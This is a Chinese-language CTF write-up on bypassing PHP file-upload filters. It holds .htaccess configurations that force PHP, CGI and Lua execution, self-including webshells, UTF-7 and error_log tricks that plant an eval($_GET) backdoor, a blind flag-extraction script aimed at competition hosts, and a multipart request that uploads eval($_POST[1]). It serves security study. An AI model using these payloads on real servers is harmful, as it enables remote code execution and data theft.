有关php文件上传的一些特性
文件上传表单的构建
有时候题目需要你自己构造表单时,如何构建呢?
比较常见的表单构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://127.0.0.1:2333" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
带账户密码的传输
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE html > <html > <body > <form action ="http://127.0.0.1:2333/" method ="POST" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="text" name ="username" value ="Example" > <input type ="password" name ="password" value ="password" > <input type ="submit" value ="submit" /> </form > </body > </html >
平时我们上传到linux的文件会先保存在/tmp/phpxxxxxx
处
其中xxxxxx
是六个随机字符(英文+数字)
然后会被立刻删除
更加详细的信息可以看到,假如我上传了一个图片叫02.jpg:
1 array (5 ) { ["name" ]=> string (6 ) "02.jpg" ["type" ]=> string (10 ) "image/jpeg" ["tmp_name" ]=> string (14 ) "/tmp/phpCf5MYO" ["error" ]=> int (0 ) ["size" ]=> int (359549 ) }
文件上传漏洞其实是由于疏忽导致恶意木马能够上传,然后为我们所用(
文件上传绕过
前端校验
过滤写在前端的时候,恰好可以用ctfshow文件上传上的一句话:前台校验不可靠
绕过方法:
将js禁用
f12修改前端js
先通过上传合法的内容,然后将其抓包,改成恶意内容即可
MIME-TYPE:
什么是MIME-TYPE
:
上文讲到,文件上传时候的一些参数:
1 array (5 ) { ["name" ]=> string (6 ) "02.jpg" ["type" ]=> string (10 ) "image/jpeg" ["tmp_name" ]=> string (14 ) "/tmp/phpCf5MYO" ["error" ]=> int (0 ) ["size" ]=> int (359549 ) }
其中["type"] => "image/jpeg"
就是MIME-TYPE
此时我们只需要抓包修改上传文件时的Content-Type
即可
后端黑名单
大小写绕过
例如in_array
函数(该函数区分大小写),如果利用in_array
作为黑名单时,能够利用大小写绕过:
1 2 3 4 5 6 7 8 <?php $blacklist = array ('php' ,'phtml' ,'ph' ,'.htaccess' ,'.user.ini' );var_dump (in_array ('phP' , $blacklist ));var_dump (in_array ('php' , $blacklist ));?>
不同后缀绕过
同样地,各种php
后缀都是能够解析的:
php2
php3
php4
php5
pht
phtml
phps
…
利用.htaccess
限制用户文件后缀的示例:
1 2 3 4 <FilesMatch "^\.ph(p[345]?|t|tml|ps)$"> Order Deny,Allow Deny from all </FilesMatch>
大概意思是如果匹配到文件后缀,应用Deny阻止用户的所有访问
文件内容绕过
首先可以尝试大小写绕过
各种短标签:
<??>
,等价于<?php?>
,前提条件是short_open_tag = On
<?=?>
,等价于<?php echo?>
<%%>
,等价于<?php?>
,前提条件是asp_tags = On
,同时PHP版本<7.0
<script language = "php"></script>
或者<script language = "php">
,等价于<?php?>
,前提条件是PHP版本<7.0
.htaccess
.htaccess是一个用于运行Apache网络服务器软件的网络服务器上的配置文件
.htaccess
中拥有#
作为单行注释符,同时支持\
拼接上下两行
.htaccess
会被Apache Web服务器检测并执行,以启用/禁用Apache Web服务器软件所提供的额外功能以及特性
利用方式:
自定义出错界面进行盲注
可以通过.htaccess
创建自定义的出错页面:
1 2 3 <If "file('/flag') = ~ '/flag{a/'"> ErrorDocument 404 "any Error Content" </If>
原理:
假设flag是flag{testflag}
(波浪符号代表其开启了正则匹配)
通过不断变换a
到t
时,页面就会返回错误信息,也就是有any Error Content
出现
利用这一点可以对flag的内容进行盲注,这一点在津门杯2021的uploadhub
上出现过,这是来自Nu1l战队wupco
师傅的解法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport stringimport hashlibip = requests.get('http://118.24.185.108/ip.php' ).text print (ip)def check (a ): f = ''' <If "file('/flag')=~ /''' +a+'''/"> ErrorDocument 404 "wupco" </If> ''' resp = requests.post("http://122.112.248.222:20003/index.php?id=167" , data={'submit' : 'submit' }, files={'file' : ('.htaccess' ,f)} ) a = requests.get("http://122.112.248.222:20003/upload/" +ip+"/a" ).text if "wupco" not in a: return False else : return True flag = "flag{BN" c = string.ascii_letters + string.digits + "\{\}" for j in range (32 ): for i in c: print ("checking: " + flag+i) if check(flag+i): flag = flag+i print (flag) break else : continue
强制处理
通过SetHandler
或者ForceType
强制所有被匹配到的文件用指定的处理器处理:
1 2 ForceType application/x-httpd-php SetHandler application/x-httpd-php
强制当前目录下的所有文件用php进行解析
添加处理器
1 2 3 4 5 AddType application/x-httpd-php .png 使得.png也可以执行php程序 AddHandler cgi-script .yyy 使得拓展名为.yyy的文件作为CGI脚本处理
修改php_value
当使用PHP作为Apache的模块时,也可以利用Apache的配置文件(例如http.conf
)和.htaccess
来修改php的配置设定
前提:
需要有AllowOverride Options 或者 AllowOverride All权限
要清除php_value
原先设定的值,可以将value设置为none
如果要设置布尔值,需要使用php_flag
利用方式:
1 2 3 4 php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容 php_value auto_append_file 1.txt 在主文件解析之后自动包含1.txt的内容 前提当然是该目录下有一个php文件啦
当然,还可以利用.htaccess
来包含/tmp
下的文件:
1 2 3 php_value auto_append_file /tmp/webshell php_value auto_append_file /tmp/sess_xxxxx //session文件包含
通过设置回溯限制来绕过preg_match
:
1 php_value pcre.backtrack_limit 0
设置回溯次数为0,使得正则匹配的返回结果为0,绕过正则
修改php_flag
可以利用php_flag
修改engine
为0,在本目录和子目录中关闭php解析,造成源码泄露
本地文件包含
1 php_value auto_append_file /etc/passwd
在当前目录下php文件头引入/etc/passwd
修改include路径
.htaccess可以设置include_path
将include()的默认路径改变:
1 php_value include_path "xxx"
远程文件包含
前提需要开启PHP的all_url_include选项,由于all_url_include的配置范围为PHP_INI_SYSTEM
,所以无法利用php_flag
设置all_url_include
1 php_value auto_append_file http://xxxx/shell.txt
伪协议包含
前提条件:
all_url_fopen
、all_url_include
设置为On
1 2 3 4 5 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== php_value auto_append_file data://text/plain,<?php phpinfo();?> php_value auto_append_file "php://filter/convert.base64-encode/resource=shell.txt"
让自身作为php文件处理
当前目录下有php文件时,利用auto_append_file
包含自己即可:
1 2 php_value auto_append_file .htaccess #<?php phpinfo();?>
先前说过.htaccess
中#
作为单行注释符,而\
可以作为换行连接上下两行
所以如果有过滤时:
1 2 3 php_value auto_append_fi\ le .htaccess #<?php phpinfo();?>
将自身指定成php文件,利用SetHandler
1 2 SetHandler application/x-httpd-php #<?php phpinfo(); ?>
1 2 3 4 5 6 7 8 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch> php_value auto_prepend_fi\ le .htaccess #<?php phpinfo();?>
比较经典的.htaccess使用
配合一句话木马,使其作为php解析:
1 2 3 <FilesMatch "1.png"> SetHandler application/x-httpd-php </FilesMatch>
或者直接
1 2 3 AddType application/x-httpd-php .txt AddHandler php7-script .txt
cgi脚本执行
如果开启了cgi拓展(需要加载cgi_module
,也就是.conf文件中有 LoadModule cgi_module modules/mod_cgi.so
)
1 2 3 Options +ExecCGI #允许CGI执行 AddHandler cgi-script .sh #此处当然可以直接SetHandler cgi-script 强制解析成cgi
写个.sh的
1 2 3 4 5 # !/bin/bash echo "Content-Type: text/plain" echo "" cat /flag exit 0
FastCgi执行
需要加载mod_fcgid.so
也就是
1 LoadModule fcgid_module modules/mod_fcgid.so
开启后,在.htaccess
上写一个
1 2 3 4 Options +ExecCGI #SetHandler fcgid-script AddHandler fcgid-script .txt FcgidWrapper "/bin/ls /" .txt
传一个随意的.txt
lua执行
新姿势,在2020年newupload
中被使用
利用.htaccess
将文件解析成.lua
:
1 AddHandler lua-script .lua
然后传一个1.lua
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 require "string" function handle (r) r.content_type = "text/plain" local t = io .popen ('/readflag' ) local a = t:read ("*all" ) r:puts(a) if r.method == 'GET' then for k, v in pairs ( r:parseargs() ) do r:puts( string .format ("%s: %s\n" , k, v) ) end else r:puts("Unsupported HTTP method " .. r.method) end end
自包含绕过<?
1 2 3 4 5 php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value auto_append_file .htaccess #+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+Ads
utf7编码可以利用下面方式得到:
1 2 3 4 5 6 <?php $filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=1.txt" ; file_put_contents ($filename , "<?php eval(\$_GET[\'cmd\']); ?>" );system (cat 1 .txt);
1 2 3 4 5 6 7 8 <?php $filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=1.txt" ; file_put_contents ($filename , "<?php phpinfo();?>" );system ('cat 1.txt' );?>
利用报错日志写🐎
例如[XNUCA2019Qualifier]EasyPHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir ('./' ); foreach ($files as $file ){ if (is_file ($file )){ if ($file !=="index.php" ){ unlink ($file ); } } } include_once ("fl3g.php" ); if (!isset ($_GET ['content' ])||!isset ($_GET ['filename' ])){ highlight_file (__FILE__ ); die (); } $content = $_GET ['content' ];if (stristr ($content , 'on' ) || stristr ($content , 'html' ) || stristr ($content , 'type' ) || stristr ($content , 'flag' ) || stristr ($content , 'upload' ) || stristr ($content , 'file' )){ echo "Hacker" ; die (); } $filename = $_GET ['filename' ];if (preg_match ("/[^a-z\.]/" , $filename ) == 1 ){ echo "Hacker" ; die (); } $files = scandir ('./' ); foreach ($files as $file ){ if (is_file ($file )){ if ($file !=="index.php" ){ unlink ($file ); } } } file_put_contents ($filename , $content ."\nJust one chance" );?>
这题对文件的内容和文件名做出了限制,同时在结尾添加了\nJust one chance
这里可以利用.htaccess
进行自包含:
1 2 3 php_value auto_append_fi\ le .htaccess #<?php system('cat /f*');?>
url编码后传进去即可
另一种解法是利用题目中preg_match("/[^a-z\.]/", $filename) == 1
,这里可以利用回溯限制绕过:
1 2 php_value pcre.backtrack_limit 0 php_value pcre.jit 0
然后即可绕过preg_match
,就可以利用php伪协议写shell:
1 2 3 $filename = php:$content = PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
当然,由于其包含了fl3g.php
如果我们修改include_path
,就可以使得fl3g.php
是任意目录下的某个文件
利用error_log
可以控制fl3g.php
的内容:
1 2 3 4 php_value include_path "/tmp/xx/+ADw?php die(eval($_GET [1]))+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_value error_reporting 32767 php_value error_log /tmp/fl3g.php
如果我们include_path
修改后,include_once就会去include
到这个不存在的文件夹,此时产生报错,报错内容写入了/tmp/fl3g.php
内
这里的#\
是注释后面的脏数据
此时访问index.php
后触发错误,将内容写入后再次修改.htaccess
1 2 3 4 php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value include_path "/tmp" # \
此时再次访问index.php,便会包含/tmp
下的已经写入的木马
传入1=whoami
即可
绕过exif_imagetype()上传.htaccess
假设题目限制了上传文件的图片尺寸:
假设利用getimagesize()
等函数检测上传图片的尺寸,并且使用exif_imagetype()
检查图片类型,此时我们可以使用:
1 2 3 #define width 20 #define height 10 xxxxxx
来绕过
源码泄露
前文说到,设置 engine值为0时会关闭源码解析,导致源码泄露:
反序列化触发
php文件中发生反序列化时触发
1 php_value unserialize_callback_func "phpinfo"
shtml
将.htaccess
设置成利用shtml
进行解析也可以进行rce:
1 2 3 AddType text/html .shtml AddHandler server-parsed .shtml Options Includes
shell.shtml
.user.ini
1 2 auto_prepend_file = shell.jpg autp_append_file = shell.png
inc
利用spl_autoload_register
函数:
1 2 spl_autoload_register('xx'); 当下面有不存在的类时会调用该xx方法
如果不指定处理用的函数,就会自动包含类名.php或者类名.inc的文件
绕过pathinfo
这个题在NSSCTF 2nd
的php签到中出现过,是需要绕过pathinfo
的
当然,upload labs
的第20关也有利用到这个
1 2 3 4 5 6 7 8 9 10 function waf ($filename ) { $black_list = array ("ph" , "htaccess" , "ini" ); $ext = pathinfo ($filename , PATHINFO_EXTENSION); foreach ($black_list as $value ) { if (stristr ($ext , $value )){ return false ; } } return true ; }
这里利用了pathinfo获得文件的后缀名
但是pathinfo
只会获取最后一个点之后的后缀名
,如果利用/.
就可以绕过pathinfo
post传包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST / HTTP/1.1 Host: node5.anna.nssctf.cn:28004 Content-Length: 305 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBSz3P5O8lKUPj27H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryBSz3P5O8lKUPj27H Content-Disposition: form-data; name="file"; filename="1.php%2f." Content-Type: image/png <?php eval($_POST[1]);?> ------WebKitFormBoundaryBSz3P5O8lKUPj27H Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundaryBSz3P5O8lKUPj27H--
记得要对/
进行url编码再传入